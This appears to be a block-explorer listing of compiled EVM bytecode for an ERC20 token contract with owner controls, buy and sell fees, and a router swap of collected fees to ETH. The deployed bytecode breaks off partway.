1603611199576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119090612664565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126f6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e691906122a2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612788565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c99061281a565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128ac565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b6000611447306109e4565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c91906122a2565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c19190612162565b60405180910390fd5b50600083856117d991906128fb565b9050809150509392505050565b60008082846117f5919061292f565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129af565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0491906122a2565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129cf565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a946129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae36129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a42565b81600281518110611bc357611bc26129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b68565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef091906122a2565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bc2565b9050828482611f909190612c33565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612cd6565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad9190612162565b60405180910390fd5b50600083856120c59190612c33565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612134826120d2565b61213e81856120dd565b935061214e8185602086016120ee565b61215781612118565b840191505092915050565b6000602082019050818103600083015261217c8184612129565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121b482612189565b9050919050565b6121c4816121a9565b81146121cf57600080fd5b50565b6000813590506121e1816121bb565b92915050565b6000819050919050565b6121fa816121e7565b811461220557600080fd5b50565b600081359050612217816121f1565b92915050565b6000806040838503121561223457612233612184565b5b6000612242858286016121d2565b925050602061225385828601612208565b9150509250929050565b60008115159050919050565b6122728161225d565b82525050565b600060208201905061228d6000830184612269565b92915050565b61229c816121e7565b82525050565b60006020820190506122b76000830184612293565b92915050565b6000806000606084860312156122d6576122d5612184565b5b60006122e4868287016121d2565b93505060206122f5868287016121d2565b925050604061230686828701612208565b9150509250925092565b612319816121a9565b82525050565b60006020820190506123346000830184612310565b92915050565b600060ff82169050919050565b6123508161233a565b82525050565b600060208201905061236b6000830184612347565b92915050565b60006020828403121561238757612386612184565b5b6000612395848285016121d2565b91505092915050565b6000819050919050565b60006123c36123be6123b984612189565b61239e565b612189565b9050919050565b60006123d5826123a8565b9050919050565b60006123e7826123ca565b9050919050565b6123f7816123dc565b82525050565b600060208201905061241260008301846123ee565b92915050565b600061242382612189565b9050919050565b61243381612418565b82525050565b600060208201905061244e600083018461242a565b92915050565b6000806040838503121561246b5761246a612184565b5b6000612479858286016121d2565b925050602061248a858286016121d2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124db57607f821691505b6020821081036124ee576124ed612494565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061252a6020836120dd565b9150612535826124f4565b602082019050919050565b600060208201905081810360008301526125598161251d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125bc6026836120dd565b91506125c782612560565b604082019050919050565b600060208201905081810360008301526125eb816125af565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061264e6024836120dd565b9150612659826125f2565b604082019050919050565b6000602082019050818103600083015261267d81612641565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e06022836120dd565b91506126eb82612684565b604082019050919050565b6000602082019050818103600083015261270f816126d3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127726025836120dd565b915061277d82612716565b604082019050919050565b600060208201905081810360008301526127a181612765565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128046023836120dd565b915061280f826127a8565b604082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006128966029836120dd565b91506128a18261283a565b604082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612906826121e7565b9150612911836121e7565b9250828203905081811115612929576129286128cc565b5b92915050565b600061293a826121e7565b9150612945836121e7565b925082820190508082111561295d5761295c6128cc565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612999601b836120dd565b91506129a482612963565b602082019050919050565b600060208201905081810360008301526129c88161298c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a3c816121bb565b92915050565b600060208284031215612a5857612a57612184565b5b6000612a6684828501612a2d565b91505092915050565b6000819050919050565b6000612a94612a8f612a8a84612a6f565b61239e565b6121e7565b9050919050565b612aa481612a79565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612adf816121a9565b82525050565b6000612af18383612ad6565b60208301905092915050565b6000602082019050919050565b6000612b1582612aaa565b612b1f8185612ab5565b9350612b2a83612ac6565b8060005b83811015612b5b578151612b428882612ae5565b9750612b4d83612afd565b925050600181019050612b2e565b5085935050505092915050565b600060a082019050612b7d6000830188612293565b612b8a6020830187612a9b565b8181036040830152612b9c8186612b0a565b9050612bab6060830185612310565b612bb86080830184612293565b9695505050505050565b6000612bcd826121e7565b9150612bd8836121e7565b9250828202612be6816121e7565b91508282048414831517612bfd57612bfc6128cc565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c3e826121e7565b9150612c49836121e7565b925082612c5957612c58612c04565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cc06021836120dd565b9150612ccb82612c64565b604082019050919050565b60006020820190508181036000830152612cef81612cb3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f8ff4509ebc012e2c9c90d4e8ad9fac00c2a568a7fa42b7982eeffed7b7f52a664736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101bb5760003560e01c8063914eb66a116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b8063a457c2d7116100c6578063a457c2d7146104fa578063a9059cbb14610537578063aeafaa2f14610574578063b2bdfa7b1461059f576101c2565b8063914eb66a1461048d57806395d89b41146104a4578063a073d37f146104cf576101c2565b80633ecad27111610159578063557ed1ba11610133578063557ed1ba146103cf57806370a08231146103fa57806382eefb43146104375780638da5cb5b14610462576101c2565b80633ecad2711461032a5780634a74bb02146103675780635342acb414610392576101c2565b806323b872dd1161019557806323b872dd1461025a57806327c8f83514610297578063313ce567146102c257806339509351146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e99190612162565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221d565b610797565b6040516102269190612278565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122a2565b60405180910390f35b34801561026657600080fd5b50610281600480360381019061027c91906122bd565b6107bf565b60405161028e9190612278565b60405180910390f35b3480156102a357600080fd5b506102ac610899565b6040516102b9919061231f565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e49190612356565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061221d565b6108d6565b6040516103219190612278565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190612371565b610989565b60405161035e9190612278565b60405180910390f35b34801561037357600080fd5b5061037c6109a9565b6040516103899190612278565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612371565b6109bc565b6040516103c69190612278565b60405180910390f35b3480156103db57600080fd5b506103e46109dc565b6040516103f191906122a2565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612371565b6109e4565b60405161042e91906122a2565b60405180910390f35b34801561044357600080fd5b5061044c610a2d565b60405161045991906122a2565b60405180910390f35b34801561046e57600080fd5b50610477610a33565b604051610484919061231f565b60405180910390f35b34801561049957600080fd5b506104a2610a5c565b005b3480156104b057600080fd5b506104b9610baf565b6040516104c69190612162565b60405180910390f35b3480156104db57600080fd5b506104e4610c41565b6040516104f191906122a2565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061221d565b610c4b565b60405161052e9190612278565b60405180910390f35b34801561054357600080fd5b5061055e6004803603810190610559919061221d565b610d18565b60405161056b9190612278565b60405180910390f35b34801561058057600080fd5b50610589610d37565b60405161059691906123fd565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c1919061231f565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec919061231f565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612439565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612278565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612454565b610de0565b60405161067f91906122a2565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190612371565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d391906122a2565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190612371565b610f61565b005b606060018054610714906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124c3565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b6000600b54905090565b60006107cc8484846112f3565b5061088e846107d9611122565b61088985604051806060016040528060288152602001612cf760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083f611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b600061097f6108e3611122565b8461097a85600660006108f4611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a64611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae890612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bbe906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610bea906124c3565b8015610c375780601f10610c0c57610100808354040283529160200191610c37565b820191906000526020600020905b815481529060010190602001808311610c1a57829003601f168201915b5050505050905090565b6000600c54905090565b6000610d0e610c58611122565b84610d0985604051806060016040528060258152602001612d1f6025913960066000610c82611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d2c610d25611122565b84846112f3565b506001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612540565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119090612664565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906126f6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e691906122a2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612788565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c99061281a565b60405180910390fd5b60008211611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906128ac565b60405180910390fd5b601060149054906101000a900460ff161561143c57611435848484611844565b905061177b565b6000611447306109e4565b9050601060149054906101000a900460ff161580156114b05750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114c85750601060159054906101000a900460ff165b156114f357601060169054906101000a900460ff16156114e857600c5490505b6114f28186611a17565b5b61157c836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116625750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167657611671868686611cef565b611678565b835b90506116cc81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176c91906122a2565b60405180910390a36001925050505b9392505050565b60008383111582906117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c19190612162565b60405180910390fd5b50600083856117d991906128fb565b9050809150509392505050565b60008082846117f5919061292f565b90508381101561183a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611831906129af565b60405180910390fd5b8091505092915050565b60006118cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a0491906122a2565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a4f57611a4e6129cf565b5b604051908082528060200260200182016040528015611a7d5781602001602082028036833780820191505090505b5090503081600081518110611a9557611a946129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae457611ae36129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611baf9190612a42565b81600281518110611bc357611bc26129fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c61959493929190612b68565b600060405180830381600087803b158015611c7b57600080fd5b505af1158015611c8f573d6000803e3d6000fd5b5050505060004790506000811115611cce57611ccd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f16565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7757611d706064611d6260095486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b9050611df5565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df457611df16064611de3600a5486611f6190919063ffffffff16565b611fdb90919063ffffffff16565b90505b5b6000811115611ef957611e5081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef091906122a2565b60405180910390a35b611f0c818461202590919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f5c573d6000803e3d6000fd5b505050565b6000808303611f735760009050611fd5565b60008284611f819190612bc2565b9050828482611f909190612c33565b14611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790612cd6565b60405180910390fd5b809150505b92915050565b600061201d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206f565b905092915050565b600061206783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611782565b905092915050565b600080831182906120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad9190612162565b60405180910390fd5b50600083856120c59190612c33565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561210c5780820151818401526020810190506120f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612134826120d2565b61213e81856120dd565b935061214e8185602086016120ee565b61215781612118565b840191505092915050565b6000602082019050818103600083015261217c8184612129565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121b482612189565b9050919050565b6121c4816121a9565b81146121cf57600080fd5b50565b6000813590506121e1816121bb565b92915050565b6000819050919050565b6121fa816121e7565b811461220557600080fd5b50565b600081359050612217816121f1565b92915050565b6000806040838503121561223457612233612184565b5b6000612242858286016121d2565b925050602061225385828601612208565b9150509250929050565b60008115159050919050565b6122728161225d565b82525050565b600060208201905061228d6000830184612269565b92915050565b61229c816121e7565b82525050565b60006020820190506122b76000830184612293565b92915050565b6000806000606084860312156122d6576122d5612184565b5b60006122e4868287016121d2565b93505060206122f5868287016121d2565b925050604061230686828701612208565b9150509250925092565b612319816121a9565b82525050565b60006020820190506123346000830184612310565b92915050565b600060ff82169050919050565b6123508161233a565b82525050565b600060208201905061236b6000830184612347565b92915050565b60006020828403121561238757612386612184565b5b6000612395848285016121d2565b91505092915050565b6000819050919050565b60006123c36123be6123b984612189565b61239e565b612189565b9050919050565b60006123d5826123a8565b9050919050565b60006123e7826123ca565b9050919050565b6123f7816123dc565b82525050565b600060208201905061241260008301846123ee565b92915050565b600061242382612189565b9050919050565b61243381612418565b82525050565b600060208201905061244e600083018461242a565b92915050565b6000806040838503121561246b5761246a612184565b5b6000612479858286016121d2565b925050602061248a858286016121d2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124db57607f821691505b6020821081036124ee576124ed612494565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061252a6020836120dd565b9150612535826124f4565b602082019050919050565b600060208201905081810360008301526125598161251d56